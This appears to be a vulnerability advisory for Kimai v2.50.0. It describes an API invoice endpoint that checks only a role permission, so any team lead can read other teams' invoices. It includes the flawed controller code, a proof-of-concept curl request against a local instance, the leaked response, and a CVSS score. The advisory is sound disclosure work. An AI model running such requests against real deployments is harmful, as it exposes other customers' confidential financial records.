GET /api/invoices/{id} only checks the role-based view_invoice permission but does not verify the requesting user has access to the invoice's customer. Any user with ROLE_TEAMLEAD (which grants view_invoice) can read all invoices in the system, including those belonging to customers assigned to other teams.
src/API/InvoiceController.php line 92-101:
#[IsGranted('view_invoice')] // Role check only, no customer access check
#[Route(methods: ['GET'], path: '/{id}', name: 'get_invoice', requirements: ['id' => '\d+'])]
public function getAction(Invoice $invoice): Response
{
$view = new View($invoice, 200);
$view->getContext()->setGroups(self::GROUPS_ENTITY);
return $this->viewHandler->handle($view); // Returns ANY invoice by ID
}
The web controller (src/Controller/InvoiceController.php line 304-307) correctly checks customer access:
#[IsGranted('view_invoice')]
#[IsGranted(new Expression("is_granted('access', subject.getCustomer())"), 'invoice')]
public function downloadAction(Invoice $invoice, ...): Response { ... }
The access attribute in CustomerVoter (line 71-87) verifies team membership, but this check is entirely missing from the API endpoint.
Tested against Kimai v2.50.0 (Docker: kimai/kimai2:apache).
Setup:
# Bob (TeamB) reads SecretCorp (TeamA) invoice
curl -H "Authorization: Bearer BOB_TOKEN" http://localhost:8888/api/invoices/1
Response (200 OK):
{
"invoiceNumber": "INV-2026-001",
"total": 15000.0,
"currency": "USD",
"customer": {"name": "SecretCorp", ...}
}
Bob can also enumerate all invoices via GET /api/invoices — the list endpoint uses setCurrentUser() in the query but the single-item endpoint bypasses this entirely via Symfony ParamConverter.
Any...
2.51.0Exploitability
AV:NAC:LPR:LUI:NScope
S:UImpact
C:HI:NA:N6.5/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N